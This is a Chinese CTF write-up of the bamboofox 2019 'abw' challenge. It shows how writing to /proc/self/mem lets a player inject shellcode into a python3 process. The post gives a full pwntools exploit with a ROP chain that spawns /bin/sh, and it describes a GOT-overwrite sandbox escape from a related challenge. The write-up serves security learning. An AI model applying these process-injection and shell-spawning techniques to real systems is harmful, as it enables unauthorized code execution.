前言
在2019年的bamboofox CTF
我做到了一道非传统的pwn题,之后队友在做一道沙箱逃逸
题目的时候也用到了相同的技巧,并找到了原型题目,由于后者已经有详细的题解,本文不再展开过多细节,后面会放参考链接供大家学习。
bamboofox CTF 2019 abw
程序分析 && 漏洞利用
题目给了一个压缩包,里面有Dockerfile
以及docker-compose.yml
让选手搭建本地环境,其中Dockerfile
内容如下:
FROM ubuntu:18.04
MAINTAINER Billy
RUN apt-get update
RUN apt-get upgrade -y
RUN apt-get install xinetd -y
RUN apt-get install python3 -y
RUN useradd -m abw
COPY ./share /home/abw
COPY ./xinetd /etc/xinetd.d/abw
COPY ./flag /home/abw/flag
RUN chmod 774 /tmp
RUN chmod -R 774 /var/tmp
RUN chmod -R 774 /dev
RUN chmod -R 774 /run
RUN chmod 1733 /tmp /var/tmp /dev/shm
RUN chown -R root:root /home/abw
CMD ["/usr/sbin/xinetd","-dontfork"]
docker-compose.yml
内容如下,可以看到是开放12345
端口监听abw
服务
abw:
build: ./
environment:
- OLDPWD=/home
- XDG_RUNTIME_DIR=/run/user/1000
- LESSOPEN=| /usr/bin/lesspipe %s
- LANG=en_US
- SHLVL=1
- SHELL=/bin/bash
- FLAG=/
- ROOT=/
- TCP_PORT=12345
- PORT=12345
- X_PORT=12345
- SERVICE=abw
- XPC_FLAGS=0x0
- TMPDIR=/tmp
- RBENV_SHELL=bash
ports:
- "12345:12345"
expose:
- "12345"
xinetd
文件创建了一个服务
service abw
{
disable = no
type = UNLISTED
wait = no
server = /home/abw/run.sh
socket_type = stream
protocol = tcp
user = abw
port = 12345
flags = REUSE
per_source = 5
rlimit_cpu = 3
nice = 18
}
`run.sh
文件实际上是执行/home/abw/abw
exec 2> /dev/null
timeout 60 /home/abw/abw
而这个文件实际上是一些代码,代码的解释器为python3
,这里为了方便调试我直接在docker里把python3
拷贝了出来并重命名为py3_remote
#./py3_remote
print( "Write File")
filename = input("File Name :")
with open(filename,"wb") as file:
seek = int(input("Seek :"))
file.seek(seek)
file.write(bytes.fromhex(input("Data (hex):")[:20]))
至此我们已经找到了核心的程序逻辑,即给我们10字节
写任意文件任意offset
的机会,之后程序结束。这里我们写入的对象就是今天要介绍的/proc/self/mem
,/proc
顾名思义是存储进程相关的文件的目录,/proc/$pid/
存储的是进程号为pid
的进程的相关文件。/proc/self/
存储的是同本进程相关的文件。
这里引用百度百科比较权威的解释
proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统是动态从系统内核读出所需信息并提交的。
wz@wz-virtual-machine:~/Desktop/CTF/bamboofox/abw/release/share$ ll /proc/self/
total 0
dr-xr-xr-x 9 wz wz 0 2月 18 15:16 ./
dr-xr-xr-x 371 root root 0 2月 18 14:32 ../
-r--r--r-- 1 wz wz 0 2月 18 15:16 arch_status
dr-xr-xr-x 2 wz wz 0 2月 18 15:16 attr/
-rw-r--r-- 1 wz wz 0 2月 18 15:16 autogroup
-r-------- 1 wz wz 0 2月 18 15:16 auxv
-r--r--r-- 1 wz wz 0 2月 18 15:16 cgroup
--w------- 1 wz wz 0 2月 18 15:16 clear_refs
-r--r--r-- 1 wz wz 0 2月 18 15:16 cmdline
-rw-r--r-- 1 wz wz 0 2月 18 15:16 comm
-rw-r--r-- 1 wz wz 0 2月 18 15:16 coredump_filter
-r--r--r-- 1 wz wz 0 2月 18 15:16 cpuset
lrwxrwxrwx 1 wz wz 0 2月 18 15:16 cwd -> /home/wz/Desktop/CTF/bamboofox/abw/release/share/
-r-------- 1 wz wz 0 2月 18 15:16 environ
lrwxrwxrwx 1 wz wz 0 2月 18 15:16 exe -> /bin/ls*
dr-x------ 2 wz wz 0 2月 18 15:16 fd/
dr-x------ 2 wz wz 0 2月 18 15:16 fdinfo/
-rw-r--r-- 1 wz wz 0 2月 18 15:16 gid_map
-r-------- 1 wz wz 0 2月 18 15:16 io
-r--r--r-- 1 wz wz 0 2月 18 15:16 limits
-rw-r--r-- 1 wz wz 0 2月 18 15:16 loginuid
dr-x------ 2 wz wz 0 2月 18 15:16 map_files/
-r--r--r-- 1 wz wz 0 2月 18 15:16 maps
-rw------- 1 wz wz 0 2月 18 15:16 mem
-r--r--r-- 1 wz wz 0 2月 18 15:16 mountinfo
-r--r--r-- 1 wz wz 0 2月 18 15:16 mounts
-r-------- 1 wz wz 0 2月 18 15:16 mountstats
dr-xr-xr-x 5 wz wz 0 2月 18 15:16 net/
dr-x--x--x 2 wz wz 0 2月 18 15:16 ns/
-r--r--r-- 1 wz wz 0 2月 18 15:16 numa_maps
...
这里有两个做题常见到的文件,一个是/proc/self/maps
,其存储了本进程的虚拟地址信息(如下图是/bin/cat
的进程地址信息)
wz@wz-virtual-machine:~/Desktop/CTF/bamboofox/abw/release/share$ cat /proc/self/maps
559bcc7cb000-559bcc7d3000 r-xp 00000000 08:01 3145753 /bin/cat
559bcc9d2000-559bcc9d3000 r--p 00007000 08:01 3145753 /bin/cat
559bcc9d3000-559bcc9d4000 rw-p 00008000 08:01 3145753 /bin/cat
559bce338000-559bce359000 rw-p 00000000 00:00 0 [heap]
7fb685a8b000-7fb68645a000 r--p 00000000 08:01 4463216 /usr/lib/locale/locale-archive
7fb68645a000-7fb686641000 r-xp 00000000 08:01 8917973 /lib/x86_64-linux-gnu/libc-2.27.so
7fb686641000-7fb686841000 ---p 001e7000 08:01 8917973 /lib/x86_64-linux-gnu/libc-2.27.so
7fb686841000-7fb686845000 r--p 001e7000 08:01 8917973 /lib/x86_64-linux-gnu/libc-2.27.so
7fb686845000-7fb686847000 rw-p 001eb000 08:01 8917973 /lib/x86_64-linux-gnu/libc-2.27.so
7fb686847000-7fb68684b000 rw-p 00000000 00:00 0
7fb68684b000-7fb686872000 r-xp 00000000 08:01 8917945 /lib/x86_64-linux-gnu/ld-2.27.so
7fb686a37000-7fb686a5b000 rw-p 00000000 00:00 0
7fb686a72000-7fb686a73000 r--p 00027000 08:01 8917945 /lib/x86_64-linux-gnu/ld-2.27.so
7fb686a73000-7fb686a74000 rw-p 00028000 08:01 8917945 /lib/x86_64-linux-gnu/ld-2.27.so
7fb686a74000-7fb686a75000 rw-p 00000000 00:00 0
7ffd04a30000-7ffd04a51000 rw-p 00000000 00:00 0 [stack]
7ffd04a81000-7ffd04a84000 r--p 00000000 00:00 0 [vvar]
7ffd04a84000-7ffd04a85000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
另一个就是/proc/self/mem
,这个虚拟文件是进程空间映射出来的,大家可以理解成这个文件和进程对应的静态二进制文件是关联且对应的,对这个文件进行写将改变进程的内存空间。具体地,如果我们在文件的offset
偏移处写val
,则进程的虚拟地址offset
处的内容也被更改为val
。如果offset
为.text
段的一个合法地址addr
,则这个地址的代码就被更改为disasm(val)
。
这两个文件还可以用于进程注入,具体可以参考无需Ptrace就能实现Linux进程间代码注入
查看一下python3
的保护机制发现没有PIE
,因此我们可以修改进程的代码段。
wz@wz-virtual-machine:~/Desktop/CTF/bamboofox/abw/release/share$ checksec ./py3_remote
[*] '/home/wz/Desktop/CTF/bamboofox/abw/release/share/py3_remote'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
IDA看一下python3
的代码,其大概流程是为代码分配空间->对代码进行解码->交予Py_Main
执行->释放内存空间->程序结束。鉴于我们只有10字节可写,我们第一步是寻找一个合适的地方注入gadgets扩大读更多的gadgets。这个地址须得是程序一定能执行到的地方,我们从程序的结束部分开始找,发现在0x4B0F71
是main
函数收尾的地方。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ebp
__int64 v4; // r13
__int64 v5; // rax
__int64 v6; // r12
char *v7; // rax
const char *v8; // r15
__int64 v9; // rbx
__int64 v10; // rax
__int64 v11; // rax
const char *v12; // rdi
__int64 v13; // r15
int v14; // er14
__int64 v15; // rdi
v3 = argc;
PyMem_SetupAllocators("malloc");
v4 = PyMem_RawMalloc(8LL * (argc + 1));
v5 = PyMem_RawMalloc(8LL * (argc + 1));
if ( v4 && (v6 = v5) != 0 && (v7 = setlocale(6, 0LL), (v8 = (const char *)PyMem_RawStrdup(v7)) != 0LL) )
{
v9 = 0LL;
setlocale(6, &locale);
while ( argc > (signed int)v9 )
{
v10 = Py_DecodeLocale((__int64)argv[v9], 0LL);
*(_QWORD *)(v4 + 8 * v9) = v10;
if ( !v10 )
{
v14 = 1;
PyMem_RawFree(v8);
__fprintf_chk(stderr, 1LL, "Fatal Python error: unable to decode the command line argument #%i\n");
return v14;
}
*(_QWORD *)(v6 + 8 * v9++) = v10;
}
v11 = argc;
*(_QWORD *)(v4 + 8 * v11) = 0LL;
*(_QWORD *)(v6 + 8 * v11) = 0LL;
setlocale(6, v8);
v12 = v8;
v13 = 0LL;
PyMem_RawFree(v12);
v14 = Py_Main(v3, v4);
PyMem_SetupAllocators("malloc");
while ( v3 > (signed int)v13 )
{
v15 = *(_QWORD *)(v6 + 8 * v13++);
PyMem_RawFree(v15);
}
PyMem_RawFree(v4);
PyMem_RawFree(v6);
}
else
{
v14 = 1;
__fprintf_chk(stderr, 1LL, "out of memory\n");
}
return v14;
}
/*
loc_4B0F71:
add rsp, 18h
mov eax, r14d
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn
*/
在gdb调试看一下(r之后ctrl+d进入结束部分)
gdb ./py3_remote
set arch i386:x86-64:intel
b* 0x4b0f71
r
单步执行发现到0x4b0f80
栈顶为0
,我们的目的是调用read(0,rsp,sz)
,rdi
可以在此处pop 0进去,另外r12
是一个不错的较大的整数可以赋值给rdx
,因此可以在这里进行代码注入,注入的第一段汇编如下,读取第二段rop chain
之后ret
触发执行我们的代码即可get shell。
pop rdi
mov rsi, rsp
mov rdx, r12
syscall
ret
第一次代码注入后调用情况如下
exp.py
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level="DEBUG")
context.terminal = ['tmux','split','-h']
p = process("./abw")
elf = ELF('./python3.6')
p_rdi = 0x0000000000421872
p_rsi = 0x000000000042159a
p_rdx = 0x00000000004026c1
p_rax = 0x0000000000421095
syscall = 0x4b0f87
def exp():
gdb.attach(p,'b* 0x4b0f78')
data = asm('''
pop rdi
mov rsi, rsp
mov rdx, r12
syscall
ret
''').encode('hex')
offset = 0x4b0f80
p.sendlineafter(" :", "/proc/self/mem")
p.sendlineafter(" :", str(offset))
p.sendlineafter(":", data)
raw_input()
#read more
bss_base = elf.bss()
gadets = [
p_rdi,0,
p_rsi,bss_base,
p_rdx,0x8,
p_rax,0,
syscall,
p_rdi,bss_base,
p_rsi,0,
p_rdx,0,
p_rax,59,
syscall
]
gadets = flat(gadets)
p.send(gadets)
raw_input()
p.send("/bin/sh\x00")
p.interactive()
exp()
PlaidCTF 2014 'nightmares'
这道题目是一道python沙箱逃逸题目
,我们在能够控制stdout
的情况下可以实现任意文件读写,这里博主的做法是通过/proc/self/mem
覆盖fopen@got
为system
,这样在open('file_name')
的时候可以通过修改文件名执行任意命令,具体可以参考下文。
"PlaidCTF 2014 'nightmares' (Pwnables 375) writeup"
总结
/proc/self/maps
和/proc/self/mem
作为两个系统映射的虚拟文件存储了进程相关的重要信息,读取前者可以获取进程的所有段的基地址,修改后者相当于可修改只读的代码段内容实现进程注入
,相关的题目除了本文提到的两道题外还有2018年全国大学生信息安全竞赛的task_house
,有兴趣的大佬可以做一下。